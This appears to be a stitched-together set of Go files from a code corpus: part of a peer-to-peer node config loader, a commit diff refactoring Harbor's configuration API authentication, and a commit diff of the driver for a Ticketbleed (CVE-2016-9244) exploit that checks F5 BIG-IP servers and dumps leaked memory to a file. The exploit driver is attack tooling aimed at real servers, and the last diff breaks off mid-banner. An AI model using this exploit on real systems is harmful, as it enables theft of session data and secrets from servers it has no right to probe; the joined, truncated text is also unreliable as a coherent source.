	usr, err := user.Current()
	if err != nil {
		return "./"
	}

	return usr.HomeDir + "/.config/emp/"
}

func GetConfig(confFile string) *ApiConfig {

	var tomlConf tomlConfig

	if _, err := toml.DecodeFile(confFile, &tomlConf); err != nil {
		fmt.Println("Config Error: ", err)
		return nil
	}

	config := new(ApiConfig)

	// Network Channels
	config.RecvQueue = make(chan quibit.Frame, bufLen)
	config.SendQueue = make(chan quibit.Frame, bufLen)
	config.PeerQueue = make(chan quibit.Peer, bufLen)

	// Local Logic
	config.DbFile = GetConfDir() + tomlConf.Inventory
	config.LocalDB = GetConfDir() + tomlConf.Local
	if len(config.DbFile) == 0 || len(config.LocalDB) == 0 {
		fmt.Println("Database file not found in config!")
		return nil
	}
	config.NodeFile = GetConfDir() + tomlConf.Nodes

	config.LocalVersion.Port = tomlConf.Port
	if tomlConf.IP != "0.0.0.0" {
		config.LocalVersion.IpAddress = net.ParseIP(tomlConf.IP)
	}
	config.LocalVersion.Timestamp = time.Now().Round(time.Second)
	config.LocalVersion.Version = objects.LOCAL_VERSION
	config.LocalVersion.UserAgent = objects.LOCAL_USER

	// RPC
	config.RPCPort = tomlConf.RPCConf.Port
	config.RPCUser = tomlConf.RPCConf.User
	config.RPCPass = tomlConf.RPCConf.Pass
	config.HttpRoot = GetConfDir() + tomlConf.RPCConf.Local

	// Local Registers
	config.PubkeyRegister  = make(chan objects.Hash, bufLen)
	config.MessageRegister = make(chan objects.Message, bufLen)
	config.PubRegister     = make(chan objects.Message, bufLen)
	config.PurgeRegister   = make(chan [16]byte, bufLen)

	// Administration
	config.Log = make(chan string, bufLen)
	config.Quit = make(chan os.Signal, 1)

	// Initialize Map
	config.NodeList.Nodes = make(map[string]objects.Node)

	// Bootstrap Nodes
	config.Bootstrap = make([]string, len(tomlConf.Peers), cap(tomlConf.Peers))
	copy(config.Bootstrap, tomlConf.Peers)
	for i, str := range tomlConf.Peers {
		if i >= bufLen {
			break
		}

		p := new(quibit.Peer)
		n := new(objects.Node)
		err := n.FromString(str)
		if err != nil {
			fmt.Println("Error Decoding Peer ", str, ": ", err)
			continue
		}

		p.IP = n.IP
		p.Port = n.Port
		config.PeerQueue <- *p
		config.NodeList.Nodes[n.String()] = *n
	}

	// Pull Nodes from node file
	if len(config.NodeFile) > 0 {
		ReadNodes(config)
	}

	return config
}

func ReadNodes(config *ApiConfig) {
	file, err := os.Open(config.NodeFile);
	defer file.Close()
	if err != nil {
		fmt.Println("Could not open node file: ", err)
	}

	var count int

	scanner := bufio.NewScanner(file)

	for scanner.Scan() {
    	str := scanner.Text()
    	if len(str) < 0 || str == "<nil>" {
    		continue
    	}

		p := new(quibit.Peer)
		n := new(objects.Node)
		err = n.FromString(str)
		if err != nil {
			fmt.Println("Error Decoding Peer ", str, ": ", err)
			continue
		}

		p.IP = n.IP
		p.Port = n.Port
		config.PeerQueue <- *p
		config.NodeList.Nodes[n.String()] = *n
		count++
	}
	fmt.Println(count, "nodes pulled from node file.")
}

func DumpNodes(config *ApiConfig) {
	if config == nil {
		return
	}
	if len(config.NodeFile) < 1 {
		return
	}
	writeBytes := make([]byte, 0, 0)

	for key, _ := range config.NodeList.Nodes {
		if quibit.GetPeer(key).IsConnected() {
			writeBytes = append(writeBytes, key...)
			writeBytes = append(writeBytes, byte('\n'))
		}
	}

	err := ioutil.WriteFile(config.NodeFile, writeBytes, 0644)
	if err != nil {
		fmt.Println("Error writing peers to file: ", err)
	}
}
<|endoftext|>


<commit_before>// Copyright (c) 2017 VMware, Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package api

import (
	"fmt"
	"net/http"
	"strconv"

	"github.com/vmware/harbor/src/common"
	"github.com/vmware/harbor/src/common/api"
	"github.com/vmware/harbor/src/common/dao"
	"github.com/vmware/harbor/src/common/utils/log"
	"github.com/vmware/harbor/src/ui/config"
)

var (
	// valid keys of configurations which user can modify
	validKeys = []string{
		common.ExtEndpoint,
		common.AUTHMode,
		common.DatabaseType,
		common.MySQLHost,
		common.MySQLPort,
		common.MySQLUsername,
		common.MySQLPassword,
		common.MySQLDatabase,
		common.SQLiteFile,
		common.SelfRegistration,
		common.LDAPURL,
		common.LDAPSearchDN,
		common.LDAPSearchPwd,
		common.LDAPBaseDN,
		common.LDAPUID,
		common.LDAPFilter,
		common.LDAPScope,
		common.LDAPTimeout,
		common.TokenServiceURL,
		common.RegistryURL,
		common.EmailHost,
		common.EmailPort,
		common.EmailUsername,
		common.EmailPassword,
		common.EmailFrom,
		common.EmailSSL,
		common.EmailIdentity,
		common.ProjectCreationRestriction,
		common.VerifyRemoteCert,
		common.MaxJobWorkers,
		common.TokenExpiration,
		common.CfgExpiration,
		common.JobLogDir,
		common.AdminInitialPassword,
	}

	numKeys = []string{
		common.EmailPort,
		common.LDAPScope,
		common.LDAPTimeout,
		common.MySQLPort,
		common.MaxJobWorkers,
		common.TokenExpiration,
		common.CfgExpiration,
	}

	boolKeys = []string{
		common.EmailSSL,
		common.SelfRegistration,
		common.VerifyRemoteCert,
	}

	passwordKeys = []string{
		common.AdminInitialPassword,
		common.EmailPassword,
		common.LDAPSearchPwd,
		common.MySQLPassword,
	}
)

// ConfigAPI ...
type ConfigAPI struct {
	api.BaseAPI
}

// Prepare validates the user
func (c *ConfigAPI) Prepare() {
	userID := c.ValidateUser()
	isSysAdmin, err := dao.IsAdminRole(userID)
	if err != nil {
		log.Errorf("failed to check the role of user: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	if !isSysAdmin {
		c.CustomAbort(http.StatusForbidden, http.StatusText(http.StatusForbidden))
	}
}

type value struct {
	Value    interface{} `json:"value"`
	Editable bool        `json:"editable"`
}

// Get returns configurations
func (c *ConfigAPI) Get() {
	cfg, err := config.GetSystemCfg()
	if err != nil {
		log.Errorf("failed to get configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	m, err := convertForGet(cfg)
	if err != nil {
		log.Errorf("failed to convert configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	c.Data["json"] = m
	c.ServeJSON()
}

// Put updates configurations
func (c *ConfigAPI) Put() {
	m := map[string]string{}
	c.DecodeJSONReq(&m)

	cfg := map[string]string{}
	for _, k := range validKeys {
		if v, ok := m[k]; ok {
			cfg[k] = v
		}
	}

	isSysErr, err := validateCfg(cfg)

	if err != nil {
		if isSysErr {
			log.Errorf("failed to validate configurations: %v", err)
			c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
		}

		c.CustomAbort(http.StatusBadRequest, err.Error())
	}

	if value, ok := cfg[common.AUTHMode]; ok {
		mode, err := config.AuthMode()
		if err != nil {
			log.Errorf("failed to get auth mode: %v", err)
			c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
		}

		if mode != value {
			flag, err := authModeCanBeModified()
			if err != nil {
				log.Errorf("failed to determine whether auth mode can be modified: %v", err)
				c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
			}

			if !flag {
				c.CustomAbort(http.StatusBadRequest,
					fmt.Sprintf("%s can not be modified as new users have been inserted into database",
						common.AUTHMode))
			}
		}
	}

	result, err := convertForPut(cfg)
	if err != nil {
		log.Errorf("failed to convert configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	if err := config.Upload(result); err != nil {
		log.Errorf("failed to upload configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	if err := config.Load(); err != nil {
		log.Errorf("failed to load configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}
}

// Reset system configurations
func (c *ConfigAPI) Reset() {
	if err := config.Reset(); err != nil {
		log.Errorf("failed to reset configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}
}

func validateCfg(c map[string]string) (bool, error) {
	isSysErr := false

	mode, err := config.AuthMode()
	if err != nil {
		isSysErr = true
		return isSysErr, err
	}

	if value, ok := c[common.AUTHMode]; ok {
		if value != common.DBAuth && value != common.LDAPAuth {
			return isSysErr, fmt.Errorf("invalid %s, shoud be %s or %s", common.AUTHMode, common.DBAuth, common.LDAPAuth)
		}
		mode = value
	}

	if mode == common.LDAPAuth {
		ldap, err := config.LDAP()
		if err != nil {
			isSysErr = true
			return isSysErr, err
		}

		if len(ldap.URL) == 0 {
			if _, ok := c[common.LDAPURL]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPURL)
			}
		}

		if len(ldap.BaseDN) == 0 {
			if _, ok := c[common.LDAPBaseDN]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPBaseDN)
			}
		}
		if len(ldap.UID) == 0 {
			if _, ok := c[common.LDAPUID]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPUID)
			}
		}
		if ldap.Scope == 0 {
			if _, ok := c[common.LDAPScope]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPScope)
			}
		}
	}

	if ldapURL, ok := c[common.LDAPURL]; ok && len(ldapURL) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPURL)
	}
	if baseDN, ok := c[common.LDAPBaseDN]; ok && len(baseDN) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPBaseDN)
	}
	if uID, ok := c[common.LDAPUID]; ok && len(uID) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPUID)
	}
	if scope, ok := c[common.LDAPScope]; ok &&
		scope != common.LDAPScopeBase &&
		scope != common.LDAPScopeOnelevel &&
		scope != common.LDAPScopeSubtree {
		return isSysErr, fmt.Errorf("invalid %s, should be %s, %s or %s",
			common.LDAPScope,
			common.LDAPScopeBase,
			common.LDAPScopeOnelevel,
			common.LDAPScopeSubtree)
	}

	for _, k := range boolKeys {
		v, ok := c[k]
		if !ok {
			continue
		}

		if v != "0" && v != "1" {
			return isSysErr, fmt.Errorf("%s should be %s or %s",
				k, "0", "1")
		}
	}

	for _, k := range numKeys {
		v, ok := c[k]
		if !ok {
			continue
		}

		n, err := strconv.Atoi(v)
		if err != nil || n < 0 {
			return isSysErr, fmt.Errorf("invalid %s: %s", k, v)
		}

		if (k == common.EmailPort ||
			k == common.MySQLPort) && n > 65535 {
			return isSysErr, fmt.Errorf("invalid %s: %s", k, v)
		}
	}

	if crt, ok := c[common.ProjectCreationRestriction]; ok &&
		crt != common.ProCrtRestrEveryone &&
		crt != common.ProCrtRestrAdmOnly {
		return isSysErr, fmt.Errorf("invalid %s, should be %s or %s",
			common.ProjectCreationRestriction,
			common.ProCrtRestrAdmOnly,
			common.ProCrtRestrEveryone)
	}

	return isSysErr, nil
}

//convert map[string]string to map[string]interface{}
func convertForPut(m map[string]string) (map[string]interface{}, error) {
	cfg := map[string]interface{}{}

	for k, v := range m {
		cfg[k] = v
	}

	for _, k := range numKeys {
		if _, ok := cfg[k]; !ok {
			continue
		}

		v, err := strconv.Atoi(cfg[k].(string))
		if err != nil {
			return nil, err
		}
		cfg[k] = v
	}

	for _, k := range boolKeys {
		if _, ok := cfg[k]; !ok {
			continue
		}

		cfg[k] = cfg[k] == "1"
	}

	return cfg, nil
}

// delete sensitive attrs and add editable field to every attr
func convertForGet(cfg map[string]interface{}) (map[string]*value, error) {
	result := map[string]*value{}

	for _, k := range passwordKeys {
		if _, ok := cfg[k]; ok {
			delete(cfg, k)
		}
	}

	for k, v := range cfg {
		result[k] = &value{
			Value:    v,
			Editable: true,
		}
	}

	flag, err := authModeCanBeModified()
	if err != nil {
		return nil, err
	}
	result[common.AUTHMode].Editable = flag

	return result, nil
}

func authModeCanBeModified() (bool, error) {
	return dao.AuthModeCanBeModified()
}
<commit_msg>refactor config API<commit_after>// Copyright (c) 2017 VMware, Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package api

import (
	"fmt"
	"net/http"
	"strconv"

	"github.com/vmware/harbor/src/common"
	"github.com/vmware/harbor/src/common/dao"
	"github.com/vmware/harbor/src/common/utils/log"
	"github.com/vmware/harbor/src/ui/config"
)

var (
	// valid keys of configurations which user can modify
	validKeys = []string{
		common.ExtEndpoint,
		common.AUTHMode,
		common.DatabaseType,
		common.MySQLHost,
		common.MySQLPort,
		common.MySQLUsername,
		common.MySQLPassword,
		common.MySQLDatabase,
		common.SQLiteFile,
		common.SelfRegistration,
		common.LDAPURL,
		common.LDAPSearchDN,
		common.LDAPSearchPwd,
		common.LDAPBaseDN,
		common.LDAPUID,
		common.LDAPFilter,
		common.LDAPScope,
		common.LDAPTimeout,
		common.TokenServiceURL,
		common.RegistryURL,
		common.EmailHost,
		common.EmailPort,
		common.EmailUsername,
		common.EmailPassword,
		common.EmailFrom,
		common.EmailSSL,
		common.EmailIdentity,
		common.ProjectCreationRestriction,
		common.VerifyRemoteCert,
		common.MaxJobWorkers,
		common.TokenExpiration,
		common.CfgExpiration,
		common.JobLogDir,
		common.AdminInitialPassword,
	}

	numKeys = []string{
		common.EmailPort,
		common.LDAPScope,
		common.LDAPTimeout,
		common.MySQLPort,
		common.MaxJobWorkers,
		common.TokenExpiration,
		common.CfgExpiration,
	}

	boolKeys = []string{
		common.EmailSSL,
		common.SelfRegistration,
		common.VerifyRemoteCert,
	}

	passwordKeys = []string{
		common.AdminInitialPassword,
		common.EmailPassword,
		common.LDAPSearchPwd,
		common.MySQLPassword,
	}
)

// ConfigAPI ...
type ConfigAPI struct {
	BaseController
}

// Prepare validates the user
func (c *ConfigAPI) Prepare() {
	c.BaseController.Prepare()
	if !c.SecurityCtx.IsAuthenticated() {
		c.HandleUnauthorized()
		return
	}
	if !c.SecurityCtx.IsSysAdmin() {
		c.HandleForbidden(c.SecurityCtx.GetUsername())
		return
	}
}

type value struct {
	Value    interface{} `json:"value"`
	Editable bool        `json:"editable"`
}

// Get returns configurations
func (c *ConfigAPI) Get() {
	cfg, err := config.GetSystemCfg()
	if err != nil {
		log.Errorf("failed to get configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	m, err := convertForGet(cfg)
	if err != nil {
		log.Errorf("failed to convert configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	c.Data["json"] = m
	c.ServeJSON()
}

// Put updates configurations
func (c *ConfigAPI) Put() {
	m := map[string]string{}
	c.DecodeJSONReq(&m)

	cfg := map[string]string{}
	for _, k := range validKeys {
		if v, ok := m[k]; ok {
			cfg[k] = v
		}
	}

	isSysErr, err := validateCfg(cfg)

	if err != nil {
		if isSysErr {
			log.Errorf("failed to validate configurations: %v", err)
			c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
		}

		c.CustomAbort(http.StatusBadRequest, err.Error())
	}

	if value, ok := cfg[common.AUTHMode]; ok {
		mode, err := config.AuthMode()
		if err != nil {
			log.Errorf("failed to get auth mode: %v", err)
			c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
		}

		if mode != value {
			flag, err := authModeCanBeModified()
			if err != nil {
				log.Errorf("failed to determine whether auth mode can be modified: %v", err)
				c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
			}

			if !flag {
				c.CustomAbort(http.StatusBadRequest,
					fmt.Sprintf("%s can not be modified as new users have been inserted into database",
						common.AUTHMode))
			}
		}
	}

	result, err := convertForPut(cfg)
	if err != nil {
		log.Errorf("failed to convert configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	if err := config.Upload(result); err != nil {
		log.Errorf("failed to upload configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}

	if err := config.Load(); err != nil {
		log.Errorf("failed to load configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}
}

// Reset system configurations
func (c *ConfigAPI) Reset() {
	if err := config.Reset(); err != nil {
		log.Errorf("failed to reset configurations: %v", err)
		c.CustomAbort(http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError))
	}
}

func validateCfg(c map[string]string) (bool, error) {
	isSysErr := false

	mode, err := config.AuthMode()
	if err != nil {
		isSysErr = true
		return isSysErr, err
	}

	if value, ok := c[common.AUTHMode]; ok {
		if value != common.DBAuth && value != common.LDAPAuth {
			return isSysErr, fmt.Errorf("invalid %s, shoud be %s or %s", common.AUTHMode, common.DBAuth, common.LDAPAuth)
		}
		mode = value
	}

	if mode == common.LDAPAuth {
		ldap, err := config.LDAP()
		if err != nil {
			isSysErr = true
			return isSysErr, err
		}

		if len(ldap.URL) == 0 {
			if _, ok := c[common.LDAPURL]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPURL)
			}
		}

		if len(ldap.BaseDN) == 0 {
			if _, ok := c[common.LDAPBaseDN]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPBaseDN)
			}
		}
		if len(ldap.UID) == 0 {
			if _, ok := c[common.LDAPUID]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPUID)
			}
		}
		if ldap.Scope == 0 {
			if _, ok := c[common.LDAPScope]; !ok {
				return isSysErr, fmt.Errorf("%s is missing", common.LDAPScope)
			}
		}
	}

	if ldapURL, ok := c[common.LDAPURL]; ok && len(ldapURL) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPURL)
	}
	if baseDN, ok := c[common.LDAPBaseDN]; ok && len(baseDN) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPBaseDN)
	}
	if uID, ok := c[common.LDAPUID]; ok && len(uID) == 0 {
		return isSysErr, fmt.Errorf("%s is empty", common.LDAPUID)
	}
	if scope, ok := c[common.LDAPScope]; ok &&
		scope != common.LDAPScopeBase &&
		scope != common.LDAPScopeOnelevel &&
		scope != common.LDAPScopeSubtree {
		return isSysErr, fmt.Errorf("invalid %s, should be %s, %s or %s",
			common.LDAPScope,
			common.LDAPScopeBase,
			common.LDAPScopeOnelevel,
			common.LDAPScopeSubtree)
	}

	for _, k := range boolKeys {
		v, ok := c[k]
		if !ok {
			continue
		}

		if v != "0" && v != "1" {
			return isSysErr, fmt.Errorf("%s should be %s or %s",
				k, "0", "1")
		}
	}

	for _, k := range numKeys {
		v, ok := c[k]
		if !ok {
			continue
		}

		n, err := strconv.Atoi(v)
		if err != nil || n < 0 {
			return isSysErr, fmt.Errorf("invalid %s: %s", k, v)
		}

		if (k == common.EmailPort ||
			k == common.MySQLPort) && n > 65535 {
			return isSysErr, fmt.Errorf("invalid %s: %s", k, v)
		}
	}

	if crt, ok := c[common.ProjectCreationRestriction]; ok &&
		crt != common.ProCrtRestrEveryone &&
		crt != common.ProCrtRestrAdmOnly {
		return isSysErr, fmt.Errorf("invalid %s, should be %s or %s",
			common.ProjectCreationRestriction,
			common.ProCrtRestrAdmOnly,
			common.ProCrtRestrEveryone)
	}

	return isSysErr, nil
}

//convert map[string]string to map[string]interface{}
func convertForPut(m map[string]string) (map[string]interface{}, error) {
	cfg := map[string]interface{}{}

	for k, v := range m {
		cfg[k] = v
	}

	for _, k := range numKeys {
		if _, ok := cfg[k]; !ok {
			continue
		}

		v, err := strconv.Atoi(cfg[k].(string))
		if err != nil {
			return nil, err
		}
		cfg[k] = v
	}

	for _, k := range boolKeys {
		if _, ok := cfg[k]; !ok {
			continue
		}

		cfg[k] = cfg[k] == "1"
	}

	return cfg, nil
}

// delete sensitive attrs and add editable field to every attr
func convertForGet(cfg map[string]interface{}) (map[string]*value, error) {
	result := map[string]*value{}

	for _, k := range passwordKeys {
		if _, ok := cfg[k]; ok {
			delete(cfg, k)
		}
	}

	for k, v := range cfg {
		result[k] = &value{
			Value:    v,
			Editable: true,
		}
	}

	flag, err := authModeCanBeModified()
	if err != nil {
		return nil, err
	}
	result[common.AUTHMode].Editable = flag

	return result, nil
}

func authModeCanBeModified() (bool, error) {
	return dao.AuthModeCanBeModified()
}
<|endoftext|>


<commit_before>/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege Balcı]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]

This is the proof of consept file for CVE-2016-9244,
don't forget to set up GOPATH before building...

BUILD:
	export GOPATH="The path of this repo here"
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package Ticketbleed

import "github.com/fatih/color"
import "Ticketbleed"
import "strconv"
import "strings"
import "os"

var Red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = Red.Add(color.Bold)
var	Blue *color.Color = color.New(color.FgBlue)
var	BoldBlue *color.Color = Blue.Add(color.Bold)
var	Yellow *color.Color = color.New(color.FgYellow)
var	BoldYellow *color.Color = Yellow.Add(color.Bold)
var	Green *color.Color = color.New(color.FgGreen)
var	BoldGreen *color.Color = Green.Add(color.Bold)

var OutputFile string = ""
var BleedSize int = 0

func main() {

	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		BoldRed.Println(Banner)
		Green.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			BoldRed.Println(Banner)
			Green.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			BoldRed.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			BoldRed.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			BoldRed.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		BoldYellow.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	if strings.Contains(VulnStatus, "[+]") {
 		BoldGreen.Println(VulnStatus)
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}else{
 		BoldYellow.Println(VulnStatus)
 	}

}

var Banner string = `
▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄
▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓
  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒
    ░     ▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░   ░    ▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒
  ░       ▒ ░░        ░ ░░ ░    ░    ░       ░    ░   ░ ░      ░      ░    ░ ░  ░
          ░  ░ ░      ░  ░      ░  ░         ░          ░  ░   ░  ░   ░  ░   ░
             ░                                    ░                        ░
`
var Help string = `
Author: Ege Balcı
Github: github.com/EgeBalci/Ticketbleed

USAGE:
	./ticketbleed <ip:port> <options>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read (Output value may vary)
	-h, --help 	Print this message
`<commit_msg>Trying to fix the god damm thing O__o<commit_after>/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege Balcı]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]

This is the proof of consept file for CVE-2016-9244,
don't forget to set up GOPATH before building...

BUILD:
	export GOPATH="The path of this repo here"
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package Ticketbleed

import "github.com/fatih/color"
import "github.com/EgeBalci/Ticketbleed"
import "strconv"
import "strings"
import "os"

var Red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = Red.Add(color.Bold)
var	Blue *color.Color = color.New(color.FgBlue)
var	BoldBlue *color.Color = Blue.Add(color.Bold)
var	Yellow *color.Color = color.New(color.FgYellow)
var	BoldYellow *color.Color = Yellow.Add(color.Bold)
var	Green *color.Color = color.New(color.FgGreen)
var	BoldGreen *color.Color = Green.Add(color.Bold)

var OutputFile string = ""
var BleedSize int = 0

func main() {

	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		BoldRed.Println(Banner)
		Green.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			BoldRed.Println(Banner)
			Green.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			BoldRed.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			BoldRed.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			BoldRed.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		BoldYellow.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	if strings.Contains(VulnStatus, "[+]") {
 		BoldGreen.Println(VulnStatus)
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}else{
 		BoldYellow.Println(VulnStatus)
 	}

}

var Banner string = `
▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄
▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓
  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒
    ░     ▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░   ░    ▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒
